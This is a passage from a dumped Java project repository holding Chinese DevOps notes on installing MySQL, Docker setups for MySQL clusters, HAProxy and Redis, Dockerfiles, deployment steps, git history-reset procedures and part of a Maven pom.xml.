/data/mysql/logs/binlog\nbinlog_format = row\nexpire_logs_days = 15\nlog_bin_trust_function_creators = 1\nrelay-log = /data/mysql/logs/relay-bin\nrelay-log-recovery = 1 \nrelay_log_purge = 1 \n#innodb \ninnodb_file_per_table = 1\ninnodb_log_buffer_size = 16M\ninnodb_log_file_size = 256M\ninnodb_log_files_in_group = 2\ninnodb_io_capacity = 2000\ninnodb_io_capacity_max = 4000\ninnodb_flush_neighbors = 0\ninnodb_flush_method = O_DIRECT\ninnodb_autoinc_lock_mode = 2\ninnodb_read_io_threads = 8\ninnodb_write_io_threads = 8\ninnodb_buffer_pool_size = 2G\n```\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n10、配置mysql.server\n\n```\n\n```\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n```\ncd /usr/local/mysql/support-files\ncp mysql.server /etc/init.d/mysql\nvi /etc/init.d/mysql\n# 修改目录位置\nbasedir=/usr/local/mysql\ndatadir=/data/mysql/data\n# 注册开机启动服务\nchkconfig --add mysql\nchkconfig --list\n```\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n```\n\n```\n\n11、添加环境变量\n\n```\n\necho \"PATH=$PATH:/usr/local/mysql/bin \" >> /etc/profile \nsource /etc/profile\n\n```\n\n12、初始化mysql\n\n```\n/usr/local/mysql/bin/mysqld --initialize --user=mysql --basedir=/usr/local/mysql --datadir=/data/mysql/data\n# 临时密码保存在errlog中 \n# 获取临时密码\nmore /data/mysql/logs/error.log |grep password\n```\n\n![img](https://img2020.cnblogs.com/blog/2124930/202107/2124930-20210724164648099-389709896.png)\n\n \n\n 13、启动mysql服务，并修改密码\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n```\n# 启动mysql服务\nservice mysql start\n# 使用初始密码登录mysql服务 并修改密码\nmysql -uroot -p\nalter user 'root'@'localhost' identified by 'root';\nflush privileges;\n```\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n![img](https://img2020.cnblogs.com/blog/2124930/202107/2124930-20210724165100493-1870359410.png)\n\n \n\n \n\n```\n[root@4WAN_1LAN_IPSec_VPN_Router ~]# /usr/local/mysql/support-files/mysql.server start\nStarting MySQL.. SUCCESS! \n```\n\n \n\n```\n\n```\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n```\n[root@4WAN_1LAN_IPSec_VPN_Router ~]# ln -s /usr/local/mysql/bin/mysql /usr/bin/mysql\n[root@4WAN_1LAN_IPSec_VPN_Router ~]# service mysql restart\n/etc/init.d/mysql: line 46: /usr/local/mysql: Is a directory\n/etc/init.d/mysql: line 47: /data/mysql/data: Is a directory\n/etc/init.d/mysql: line 46: /usr/local/mysql: Is a directory\n/etc/init.d/mysql: line 47: /data/mysql/data: Is a directory\nShutting down MySQL.. SUCCESS! \n/etc/init.d/mysql: line 46: /usr/local/mysql: Is a directory\n/etc/init.d/mysql: line 47: /data/mysql/data: Is a directory\nStarting MySQL.. SUCCESS! \n[root@4WAN_1LAN_IPSec_VPN_Router ~]# mysql -u root -p\nmysql: error while loading shared libraries: libncurses.so.5: cannot open shared object file: No such file or directory\n[root@4WAN_1LAN_IPSec_VPN_Router ~]# yum install libncurses*\n上次元数据过期检查：1:29:23 前，执行于 2021年07月24日 星期六 00时50分20秒。\n软件包 ncurses-libs-6.1-9.20180224.el8.x86_64 已安装。\n依赖关系解决。\n===========================================================================================================\n 软件包                         架构              版本                             仓库               大小\n===========================================================================================================\n安装:\n ncurses-c++-libs               x86_64            6.1-9.20180224.el8               baseos             58 k\n ncurses-compat-libs            x86_64            6.1-9.20180224.el8               baseos            328 k\n\n事务概要\n===========================================================================================================\n安装  2 软件包\n\n总下载：386 k\n安装大小：1.1 M\n确定吗？[y/N]： y\n下载软件包：\n(1/2): ncurses-c++-libs-6.1-9.20180224.el8.x86_64.rpm                      188 kB/s |  58 kB     00:00    \n(2/2): ncurses-compat-libs-6.1-9.20180224.el8.x86_64.rpm                   394 kB/s | 328 kB     00:00    \n-----------------------------------------------------------------------------------------------------------\n总计                                                                       288 kB/s | 386 kB     00:01     \n运行事务检查\n事务检查成功。\n运行事务测试\n事务测试成功。\n运行事务\n  准备中  :                                                                                            1/1 \n  安装    : ncurses-compat-libs-6.1-9.20180224.el8.x86_64                                              1/2 \n  安装    : ncurses-c++-libs-6.1-9.20180224.el8.x86_64                                                 2/2 \n  运行脚本: ncurses-c++-libs-6.1-9.20180224.el8.x86_64                                                 2/2 \n  验证    : ncurses-c++-libs-6.1-9.20180224.el8.x86_64                                                 1/2 \n  验证    : ncurses-compat-libs-6.1-9.20180224.el8.x86_64                                              2/2 \n\n已安装:\n  ncurses-c++-libs-6.1-9.20180224.el8.x86_64         ncurses-compat-libs-6.1-9.20180224.el8.x86_64        \n\n完毕！\n[root@4WAN_1LAN_IPSec_VPN_Router ~]# mysql -u root -p\nEnter password: \nWelcome to the MySQL monitor.  Commands end with ; or \\g.\nYour MySQL connection id is 2\nServer version: 5.7.35-log\n\nCopyright (c) 2000, 2021, Oracle and/or its affiliates.\n\nOracle is a registered trademark of Oracle Corporation and/or its\naffiliates. Other names may be trademarks of their respective\nowners.\n\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nmysql> alter user 'root'@'localhost' identified by 'Admin@2020@#!';\nQuery OK, 0 rows affected (0.01 sec)\n\nmysql> flush privileges;\nQuery OK, 0 rows affected (0.06 sec)\n```\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n```\n\n```\n\n 参看文档：http://www.xiaoguan.net/posts/show/426\n\n​         https://mp.weixin.qq.com/s/ybdY6cJNG2lC4FzBsc19ag"
  },
  {
    "path": "doc/Devops/Docker cp 命令.md",
    "content": "Docker cp 命令\n Docker 命令大全Docker 命令大全\n\ndocker cp :用于容器与主机之间的数据拷贝。\n\n语法\ndocker cp [OPTIONS] CONTAINER:SRC_PATH DEST_PATH|-\ndocker cp [OPTIONS] SRC_PATH|- CONTAINER:DEST_PATH\nOPTIONS说明：\n\n-L :保持源目标中的链接\n\n实例\n将主机/www/runoob目录拷贝到容器96f7f14e99ab的/www目录下。\n\ndocker cp /www/runoob 96f7f14e99ab:/www/\n将主机/www/runoob目录拷贝到容器96f7f14e99ab中，目录重命名为www。\n\ndocker cp /www/runoob 96f7f14e99ab:/www\n将容器96f7f14e99ab的/www目录拷贝到主机的/tmp目录中。\n\ndocker cp  96f7f14e99ab:/www /tmp/"
  },
  {
    "path": "doc/Devops/Dockerfile",
    "content": "# 基础镜像\nFROM openjdk:8-jdk-alpine\n# author\nMAINTAINER wenbin\n# 复制jar文件到路径\nADD manager.jar manager.jar\n# 时间\nRUN ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime\nRUN echo 'Asia/Shanghai' >/etc/timezone\n# 启动服务\nENTRYPOINT [\"java\",\"-jar\",\"/manager.jar\"]\n# 暴露端口\nEXPOSE 8080\n"
  },
  {
    "path": "doc/Devops/docker 安装 mysql5.7.md",
    "content": "docker 安装 mysql5.7\n\n\n1.安装mysql5.7 docker镜像\n拉取官方mysql5.7镜像 \n\ndocker pull mysql:5.7\n\n\n查看镜像库\n\ndocker images\n\n\n2.创建mysql容器\n在本地创建mysql的映射目录\n\nmkdir -p /root/mysql/data /root/mysql/logs /root/mysql/conf\n在/root/mysql/conf中创建 *.cnf 文件(叫什么都行)\n\ntouch my.cnf\n创建容器,将数据,日志,配置文件映射到本机\n\ndocker run -p 3306:3306 --name mysql5.7 -v /root/mysql/conf:/etc/mysql/conf.d -v /root/mysql/logs:/logs -v /root/mysql/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=mysqladmin -d mysql:5.7\n\n-d: 后台运行容器\n\n-p 将容器的端口映射到本机的端口\n\n-v 将主机目录挂载到容器的目录\n\n-e 设置参数\n\n\n\n启动mysql容器\n\ndocker start mysql5.7\n\n\n 查看/root/mysql/data目录是否有数据文件\n\n\n\n使用工具连接测试\n\n \n\n测试成功\n————————————————\n版权声明：本文为CSDN博主「疯狂的狮子Li」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。\n原文链接：https://blog.csdn.net/weixin_40461281/article/details/92610876"
  },
  {
    "path": "doc/Devops/docker 搭建Mysql集群.md",
    "content": "# [docker 搭建Mysql集群](https://www.cnblogs.com/zhenghongxin/p/9228101.html)\n\n**docker基本指令：**\n\n更新软件包\n\n```\nyum -y update\n```\n\n安装Docker虚拟机（centos 7）\n\n```\nyum install -y docker\n```\n\n运行、重启、关闭Docker虚拟机\n\n```\nservice docker start\nservice docker stop\n```\n\n搜索镜像\n\n```\n docker search 镜像名称\n```\n\n下载镜像\n\n```\ndocker pull 镜像名称\n```\n\n查看镜像\n\n```\ndocker images\n```\n\n删除镜像\n\n```\ndocker rmi 镜像名称\n```\n\n运行容器\n\n```\ndocker run 启动参数  镜像名称\n```\n\n查看容器列表\n\n```\ndocker ps -a\n```\n\n当我们想要使用java环境，我们可以这么操作：\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n```\n搜索：[root@VM_71_225_centos ~]# docker search java\nINDEX       NAME                                                   DESCRIPTION                                     STARS     OFFICIAL   AUTOMATED\ndocker.io   docker.io/node                                         Node.js is a JavaScript-based platform for...   5752      [OK]\ndocker.io   docker.io/tomcat                                       Apache Tomcat is an open source implementa...   1891      [OK]\ndocker.io   docker.io/java                                         Java is a concurrent, class-based, and obj...   1745      [OK]\ndocker.io   docker.io/openjdk                                      OpenJDK is an open-source implementation o...   1031      [OK]\n```\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n```\n下载：[root@VM_71_225_centos ~]# docker pull docker.io/java\nUsing default tag: latest\nTrying to pull repository docker.io/library/java ...\nlatest: Pulling from docker.io/library/java\n5040bd298390: Downloading [=>                                                 ] 1.572 MB/51.36 MB\n```\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n```\n运行：[root@VM_71_225_centos ~]# docker run -it --name myjava docker.io/java bash\nroot@25623e12b759:/# java\n```\n\n- **-i:** 以交互模式运行容器，通常与 -t 同时使用；\n- **-t:** 为容器重新分配一个伪输入终端，通常与 -i 同时使用；\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n**安装PXC集群（在此不做mysql pxc集群与replication集群的方案优劣说明，在此选用pxc集群方案[多节点备份与强联合性]）：**\n\n安装PXC镜像\n\n```\ndocker pull percona/percona-xtradb-cluster\n```\n\n查看本地镜像\n\n```\n[root@VM_71_225_centos ~]# docker images\nREPOSITORY                                 TAG                 IMAGE ID            CREATED             SIZE\ndocker.io/hello-world                      latest              e38bc07ac18e        2 months ago        1.85 kB\ndocker.io/percona/percona-xtradb-cluster   latest              f1439de62087        3 months ago        413 MB\ndocker.io/java                             latest              d23bdf5b1b1b        17 months ago       643 MB\n```\n\ndocker.io/percona/percona-xtradb-cluster 太长，进行改名：\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n```\n[root@VM_71_225_centos ~]# docker tag percona/percona-xtradb-cluster pxc\n[root@VM_71_225_centos ~]# docker images\nREPOSITORY                                 TAG                 IMAGE ID            CREATED             SIZE\ndocker.io/hello-world                      latest              e38bc07ac18e        2 months ago        1.85 kB\ndocker.io/percona/percona-xtradb-cluster   latest              f1439de62087        3 months ago        413 MB\npxc                                        latest              f1439de62087        3 months ago        413 MB\ndocker.io/java                             latest              d23bdf5b1b1b        17 months ago       643 MB\n```\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n创建net1网段：\n\n```\ndocker network create --subnet=172.18.0.0/16 net1\n```\n\n创建五个数据卷（pxc无法直接存取宿组机的数据，所以创建五个docker数据卷）\n\n```\ndocker volume create v1\ndocker volume create v2\ndocker volume create v3\ndocker volume create v4\ndocker volume create v5\n```\n\n查看数据卷位置：\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n```\n[root@VM_71_225_centos code]# docker inspect v1\n[\n    {\n        \"Driver\": \"local\",\n        \"Labels\": {},\n        \"Mountpoint\": \"/var/lib/docker/volumes/v1/_data\",\n        \"Name\": \"v1\",\n        \"Options\": {},\n        \"Scope\": \"local\"\n    }\n]\n```\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n创建5节点的PXC集群\n\n```\n#创建第1个MySQL节点\ndocker run -d -p 3306:3306 -e MYSQL_ROOT_PASSWORD=abc123456 -e CLUSTER_NAME=PXC -e XTRABACKUP_PASSWORD=abc123456 -v v1:/var/lib/mysql -v backup:/data --privileged --name=node1 --net=net1 --ip 172.18.0.2 pxc\n```\n\n等待2分钟后，再创建第二个节点，等待第一个节点实例化完毕后，才能开启第二个节点实例，不然会瞬间停止\n\n创建其他节点：\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n```\n#创建第2个MySQL节点\ndocker run -d -p 3307:3306 -e MYSQL_ROOT_PASSWORD=abc123456 -e CLUSTER_NAME=PXC -e XTRABACKUP_PASSWORD=abc123456 -e CLUSTER_JOIN=node1 -v v2:/var/lib/mysql -v backup:/data --privileged --name=node2 --net=net1 --ip 172.18.0.3 pxc\n#创建第3个MySQL节点\ndocker run -d -p 3308:3306 -e MYSQL_ROOT_PASSWORD=abc123456 -e CLUSTER_NAME=PXC -e XTRABACKUP_PASSWORD=abc123456 -e CLUSTER_JOIN=node1 -v v3:/var/lib/mysql --privileged --name=node3 --net=net1 --ip 172.18.0.4 pxc\n#创建第4个MySQL节点\ndocker run -d -p 3309:3306 -e MYSQL_ROOT_PASSWORD=abc123456 -e CLUSTER_NAME=PXC -e XTRABACKUP_PASSWORD=abc123456 -e CLUSTER_JOIN=node1 -v v4:/var/lib/mysql --privileged --name=node4 --net=net1 --ip 172.18.0.5 pxc\n#创建第5个MySQL节点\ndocker run -d -p 3310:3306 -e MYSQL_ROOT_PASSWORD=abc123456 -e CLUSTER_NAME=PXC -e XTRABACKUP_PASSWORD=abc123456 -e CLUSTER_JOIN=node1 -v v5:/var/lib/mysql -v backup:/data --privileged --name=node5 --net=net1 --ip 172.18.0.6 pxc\n```\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n测试在任意mysql节点创建数据库：\n\n```\nmysql -h 172.18.0.3 -uroot -pabc123456\n\nmysql> create database test;\nQuery OK, 1 row affected (0.03 sec)\n```\n\n登录其他节点数据库，能看到已经进行了同步，构成简单的mysql集群\n\n**安装Haproxy进行高可用与负载均衡**\n\n 拉取haproxy\n\n```\ndocker pull haproxy\n```\n\n编写Haproxy配置文件\n\n```\nvi /home/soft/haproxy.cfg\n```\n\n配置文件如下：\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n```\nglobal\n    #工作目录\n    chroot /usr/local/etc/haproxy\n    #日志文件，使用rsyslog服务中local5日志设备（/var/log/local5），等级info\n    log 127.0.0.1 local5 info\n    #守护进程运行\n    daemon\n\ndefaults\n    log global\n    mode    http\n    #日志格式\n    option  httplog\n    #日志中不记录负载均衡的心跳检测记录\n    option  dontlognull\n    #连接超时（毫秒）\n    timeout connect 5000\n    #客户端超时（毫秒）\n    timeout client  50000\n    #服务器超时（毫秒）\n    timeout server  50000\n\n#监控界面   \nlisten  admin_stats\n    #监控界面的访问的IP和端口\n    bind  0.0.0.0:8888\n    #访问协议\n    mode        http\n    #URI相对地址\n    stats uri   /dbs\n    #统计报告格式\n    stats realm     Global\\ statistics\n    #登陆帐户信息\n    stats auth  admin:abc123456\n#数据库负载均衡\nlisten  proxy-mysql\n    #访问的IP和端口\n    bind  0.0.0.0:3306  \n    #网络协议\n    mode  tcp\n    #负载均衡算法（轮询算法）\n    #轮询算法：roundrobin\n    #权重算法：static-rr\n    #最少连接算法：leastconn\n    #请求源IP算法：source \n    balance  roundrobin\n    #日志格式\n    option  tcplog\n    #在MySQL中创建一个没有权限的haproxy用户，密码为空。Haproxy使用这个账户对MySQL数据库心跳检测\n    option  mysql-check user haproxy\n    server  MySQL_1 172.18.0.2:3306 check weight 1 maxconn 2000  \n    server  MySQL_2 172.18.0.3:3306 check weight 1 maxconn 2000  \n    server  MySQL_3 172.18.0.4:3306 check weight 1 maxconn 2000 \n    server  MySQL_4 172.18.0.5:3306 check weight 1 maxconn 2000\n    server  MySQL_5 172.18.0.6:3306 check weight 1 maxconn 2000\n    #使用keepalive检测死链\n    option  tcpka  \n```\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n创建第1个Haproxy负载均衡服务器\n\n```\ndocker run -it -d -p 4001:8888 -p 4002:3306 -v /home/soft/haproxy:/usr/local/etc/haproxy --name h1 --privileged --net=net1 --ip 172.18.0.7 haproxy\n```\n\n进入h1容器，启动Haproxy\n\n```\ndocker exec -it h1 bash\nhaproxy -f /usr/local/etc/haproxy/haproxy.cfg\n```\n\n查看是否启动成功：\n\n访问http://ip:4001/dbs\n\n![img](https://images2018.cnblogs.com/blog/608476/201807/608476-20180701201220668-1695009593.png)\n\n 安装keepalive实现双击热备 "
  },
  {
    "path": "doc/Devops/docker.md",
    "content": "\n------MySQL \n\n1.拉取镜像。\n\ndocker pull mysql:8\n\n2.运行镜像，name、端口和密码可自行修改。\n\ndocker run -p 3307:3306 --name mysql8 -e MYSQL_ROOT_PASSWORD=mysqladmin -d mysql:8\n\n3.进入容器终端。\n\ndocker exec -it mysql8 bash\n\n4.客户端连接mysql。\n\nmysql -uroot -pmysqladmin \n  \n\n------kkfileview\n  \ndocker pull keking/kkfileview\ndocker run -it -p 8012:8012 keking/kkfileview  \n\ndocker run -p 8012:8012 --name kkfileview -d keking/kkfileview  \n\n\n\n\n\n------manager\n\nps -ef |grep java\n\nnohup java -jar manager.jar --server.port=8081  > log8081.log &  | tail -f log8081.log &\n\nnohup java -jar manager.jar --server.port=8081  > log8081.log &  \ntail -f log8081.log &\n\n\nnohup java -jar manager.jar --server.port=8082  > log8081.log & \nnohup java -jar manager.jar --server.port=8083  > log8081.log & "
  },
  {
    "path": "doc/Devops/docker安装Redis并设置密码.md",
    "content": "# [docker安装Redis并设置密码](https://www.cnblogs.com/zhangzimo/p/12753563.html)\n\n## 1.搜索镜像\n\n```\ndocker search redis\n```\n\n## 2.拉取镜像\n\n```\ndocker pull redis\n```\n\n## 3.创建Redis容器并设置密码\n\n```\ndocker run --name redis -p 6380:6379 redis-test --requirepass 123456\n\ndocker run -itd --name redis-v4-6379 -p 6379:6379 redis:4.0\n\ndocker run -itd --name redis-6379 -p 6379:6379 redis:5.0  --requirepass 123456\n\n#前边是宿主机端口 后面是docker使用的端口\n```\n\n## 4.备注\n\n为现有的redis创建密码或修改密码的方法：\n\n1.进入redis的容器 docker exec -it 容器ID bash\n\n2.进入redis目录 cd /usr/local/bin \n\n3.运行命令：redis-cli\n\n4.查看现有的redis密码：config get requirepass\n\n5.设置redis密码config set requirepass ****（****为你要设置的密码）\n\n6.若出现(error) NOAUTH Authentication required.错误，则使用 auth 密码 来认证密码"
  },
  {
    "path": "doc/Devops/部署文档",
    "content": "1. 使用IDE导入本项目，IDE需要安装lombok插件\n2. 下载redis 启动redis\n3. 创建数据库, 导入***.sql\n4. 配置application-dev.yml中的redis以及数据库连接\n5. 运行项目\n   1、直接运行CompanyProjectApplication.java\n   2、项目根目录下执行mvn -X clean package -Dmaven.test.skip=true编译打包，然后执行java -jar manager.jar\n6. 接口文档访问 http://localhost:8080/doc.html\n7. 登录地址 http://localhost:8080/index/login 用户名密码:admin/123456\n8. 代码生成使用：\n   1、 application.yml中配置： 使用代码生成模块时 指定要生成的表存在于哪种数据库。project.database=mysql\n   2、点击代码生成菜单，生成一个或多个表的代码，下载到本地\n   3、解压下载的代码，直接复制main文件夹到本地项目的src目录下\n   4、数据库执行sql，生成菜单\n   5、修改角色所绑定的菜单的权限，刷新页面查看"
  },
  {
    "path": "doc/部署文档",
    "content": "1. 使用IDE导入本项目，IDE需要安装lombok插件\n2. 下载redis 启动redis\n3. 创建数据库, 导入***.sql\n4. 配置application-dev.yml中的redis以及数据库连接\n5. 运行项目\n   1、直接运行CompanyProjectApplication.java\n   2、项目根目录下执行mvn -X clean package -Dmaven.test.skip=true编译打包，然后执行java -jar manager.jar\n6. 接口文档访问 http://localhost:8080/doc.html\n7. 登录地址 http://localhost:8080/index/login 用户名密码:admin/123456\n8. 代码生成使用：\n   1、 application.yml中配置： 使用代码生成模块时 指定要生成的表存在于哪种数据库。project.database=mysql\n   2、点击代码生成菜单，生成一个或多个表的代码，下载到本地\n   3、解压下载的代码，直接复制main文件夹到本地项目的src目录下\n   4、数据库执行sql，生成菜单\n   5、修改角色所绑定的菜单的权限，刷新页面查看\n   \n   \n   \n\nchcp 65001\n@echo off\nset /p gd=输入要清除历史提交信息的仓库目录的绝对路径:\necho 待处理的路径：%gd%\nset /p gm=输入提交说明：\npushd\ncd /d %gd%\ngit checkout --orphan latest_branch\ngit add -A\ngit commit -am \"%gm%\"\ngit branch -D master\ngit branch -m master\ngit push -f origin master\ngit pull\necho \"已清除全部的历史记录!\"\necho \"查看新仓库信息：\"\ngit log --pretty=oneline\ngit branch -a\ngit tag\ngit ls-remote --tags\npause\npopd\nexit\n\n\ngit checkout --orphan latest_branch\ngit add -A\ngit commit -am \"%gm%\"\ngit branch -D main\ngit branch -m main\ngit push -f origin main\ngit pull"
  },
  {
    "path": "doc/重置master分支.md",
    "content": "重置master分支：\ngit checkout --orphan latest_branch\ngit add -A\ngit commit -am \"commit message\"\ngit branch -D master\ngit branch -m master\n\n\ngit branch -m latest_branch master\ngit push -f origin master \ngit push origin latest_branch:master -f\ngit reset --hard origin/master\n\ngit checkout --orphan latest_branch\ngit push -f origin latest_branch\ngit push -f origin master --force\n\n有时候我们项目中会配置很多内容，在新起一个项目的时候，重新从头配置比较浪费时间，但是直接将原来项目拿来修改远程地址后，项目里还会保存之前的提交历史和tag；这个时候我们就需要下面的操作来清空这些内容。\n\n1.创建新分支（这个命名是基于当前所在分支新建一个赤裸裸的分支，没有任何的提交历史，但是当前分支的内容一应俱全。新建的分支，严格意义上说，还不是一个分支，因为HEAD指向的引用中没有commit值，只有在进行一次提交后，它才算得上真正的分支。）\n\n  git checkout --orphan latest_branch\n\n2.添加所有文件\n\n  git add .\n\n3.commit代码\n\n  git commit -m \"xxx\"\n\n4.删除原来的master分支\n\n  git branch -D master\n    git branch -D main\n\n5.把当前分支重命名为master\n\n  git branch -m master \n  git branch -m main \n\n6.最后把代码推送到远程仓库（有些仓库有master分支保护，不允许强制push，需要在远程仓库项目里暂时把项目保护关掉才能推送）\n\n  git push -f origin master\n    git push -f origin main\n \n  \n \n1、.git目录过大\n要解决.git目录过大的问题，可以尝试以下方法：\n使用git gc命令清理不再需要的缓存。这将帮助减小仓库的大小。\n在命令行中输入以下命令：\n\ngit gc --prune=now --aggressive\n1\n使用git repack -ad命令来重新打包已经提交的文件。\n这将有助于减小仓库的大小。在命令行中输入以下命令：\n\ngit repack -ad \n2、灵活使用 .gitignore 文件\n及时排除仓库不需要的特殊目录或者文件\n如下，忽略dist和build文件下内容，忽略格式为zip和exe的文件\n\n/dist\n/build\n*.zip\n*.exe \n3、查看仓库下文件大小\n数字1代表查看当前1级子目录\n\ndu -d 1 -h \n\n\n\n\n\n\n\n  \n方法一：强制回退法\n\n1. 克隆仓库，但记住不可以加--depth=1这类选项；\n\n2. 使用 git log 命令查询要回滚的 commit_id；\n\n3. 查找最早一次提交到的commit_id；   \n\n\n4. 备份原仓库目录下所有文件及文件夹(.git文件夹除外)；\n\n5. 强制还原，执行命令：git reset --hard commit_id，之后 HEAD 就会指向此次的提交记录；\ngit reset --hard 7ee28e8437002722a9d5ff0c7e88ff8cc66dc9de\n\n6. 删除仓库目录下所有文件和文件夹，去除你备份的文件中包含隐私信息的部分，并还原至原仓库目录下；\n\n7. 执行提交新commit前的常规操作：git add . 和 git commit -m \"<...>\"；\ngit add .\ngit commit -m \"xxx\"\n\n8. 强制推送到github远程仓库：git push origin HEAD --force；\ngit push origin HEAD --force\n\n9. 此时只剩下第一次提交和本次提交记录，基本达到清空目的： \n\n 方法二：分支替换法\n\n1. 同方法一克隆仓库；\n\n2. 将当前分支指向一个空分支 latest_branch：git checkout --orphan latest_branch；\n\n3. 备份原仓库目录下所有文件及文件夹(.git文件夹除外)，之后清空该目录(.git文件夹除外)；\n\n4. 去除你备份的文件中包含隐私信息的部分，并还原至原仓库目录下，最后重新添加：git add -A；\n\n5. 提交更改：git commit -am \"<...>\"；\n\n6. 删除原分支：git branch -D master （新版的github默认分支是main了，请根据实际情况更改，下同）；\n\n7. 将现有临时分支切换到主分支：git branch -m master；\n\n8. 强制推送到远程：git push -f origin master --force\n————————————————\n\n                            本文是博主原创文章，未经许可不准转载！\n                        \n原文链接：https://blog.csdn.net/u012783994/article/details/126339284"
  },
  {
    "path": "java_project_template/jun_api_service_admin/Dockerfile",
    "content": "# 基础镜像\nFROM openjdk:8-jre\n# author\nMAINTAINER wenbin\n# 复制jar文件到路径\nADD manager.jar manager.jar\n# 时间\nRUN ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime\nRUN echo 'Asia/Shanghai' >/etc/timezone\n# 启动服务\nENTRYPOINT [\"java\",\"-jar\",\"/manager.jar\"]\n# 暴露端口\nEXPOSE 8080\n"
  },
  {
    "path": "java_project_template/jun_api_service_admin/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>com.jun.plugin</groupId>\n\t<version>1.0</version>\n    <artifactId>jun_api_service_admin</artifactId>\n    \n    <properties>\n        <java.version>1.8</java.version>\n        <mybatis-plus.version>3.4.0</mybatis-plus.version>\n        <mybatis-plus-dynamic.version>2.5.5</mybatis-plus-dynamic.version>\n        <ojdbc6.version>12.1.0.1-atlassian-hosted</ojdbc6.version>\n        <sqlserver.version>4.0</sqlserver.version>\n        <commons.lang.version>2.6</commons.lang.version>\n        <commons.io.version>2.5</commons.io.version>\n        <commons.configuration.version>1.10</commons.configuration.version>\n        <velocity.version>1.7</velocity.version>\n        <quartz.version>2.3.2</quartz.version>\n        <shiro.version>1.4.0</shiro.version>\n        <druid.version>1.1.10</druid.version>\n        <fastjson.version>1.2.74</fastjson.version>\n        <thymeleaf-shiro.version>2.0.0</thymeleaf-shiro.version>\n        <knife4j.version>2.0.2</knife4j.version>\n        <easy-captcha.version>1.6.2</easy-captcha.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n            <exclusions>\n                <exclusion>\n                    <groupId>org.springframework.boot</groupId>\n                    <artifactId>spring-boot-starter-groovy-templates</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-aop</artifactId>\n        </dependency>\n        <!-- https://mvnrepository.com/artifact/org.springframework.boot/spring-boot-starter-validation -->\n\t\t<dependency>\n\t\t    <groupId>org.springframework.boot</groupId>\n\t\t    <artifactId>spring-boot-starter-validation</artifactId>\n\t\t    <version>2.5.14</version>\n\t\t</dependency>\n        \n        <!-- https://mvnrepository.com/artifact/junit/junit -->\n\t\t<dependency>\n\t\t    <groupId>junit</groupId>\n\t\t    <artifactId>junit</artifactId>\n\t\t    <version>4.13.2</version>\n\t\t    <scope>test</scope>\n\t\t</dependency>\n        \n        <!--数据源-->\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid-spring-boot-starter</artifactId>\n            <version>${druid.version}</version>\n        </dependency>\n        <!--redis 依赖-->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-data-redis</artifactId>\n        </dependency>\n        \n        <!--数据库持久化 及 插件依赖-->\n        <!-- <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>dynamic-datasource-spring-boot-starter</artifactId>\n            <version>${mybatis-plus-dynamic.version}</version>\n        </dependency> -->\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus</artifactId>\n            <version>${mybatis-plus.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-boot-starter</artifactId>\n            <version>${mybatis-plus.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n            <scope>runtime</scope>\n        </dependency>\n        <dependency>\n            <groupId>com.oracle</groupId>\n            <artifactId>ojdbc6</artifactId>\n            <version>${ojdbc6.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.microsoft.sqlserver</groupId>\n            <artifactId>sqljdbc4</artifactId>\n            <version>${sqlserver.version}</version>\n            <scope>runtime</scope>\n        </dependency>\n        \t\t<!-- 